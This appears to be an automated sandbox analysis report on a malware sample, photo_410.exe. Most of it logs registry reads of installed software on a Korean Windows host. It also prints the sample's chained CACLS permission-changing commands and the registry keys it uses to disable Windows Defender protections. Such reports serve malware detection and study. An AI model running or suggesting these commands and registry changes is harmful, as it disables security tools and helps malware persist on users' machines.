RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003d8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	CACLS "..\cb7ae701b3" /P "test22:R" /E
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "test22:N"&&CACLS "..\cb7ae701b3" /P "test22:R" /E&&Exit
cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "test22:N"&&CACLS "..\cb7ae701b3" /P "test22:R" /E&&Exit
cmdline	CACLS "oneetx.exe" /P "test22:N"
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	CACLS "..\cb7ae701b3" /P "test22:N"

Disables Windows Security features (6 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection

photo_410.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All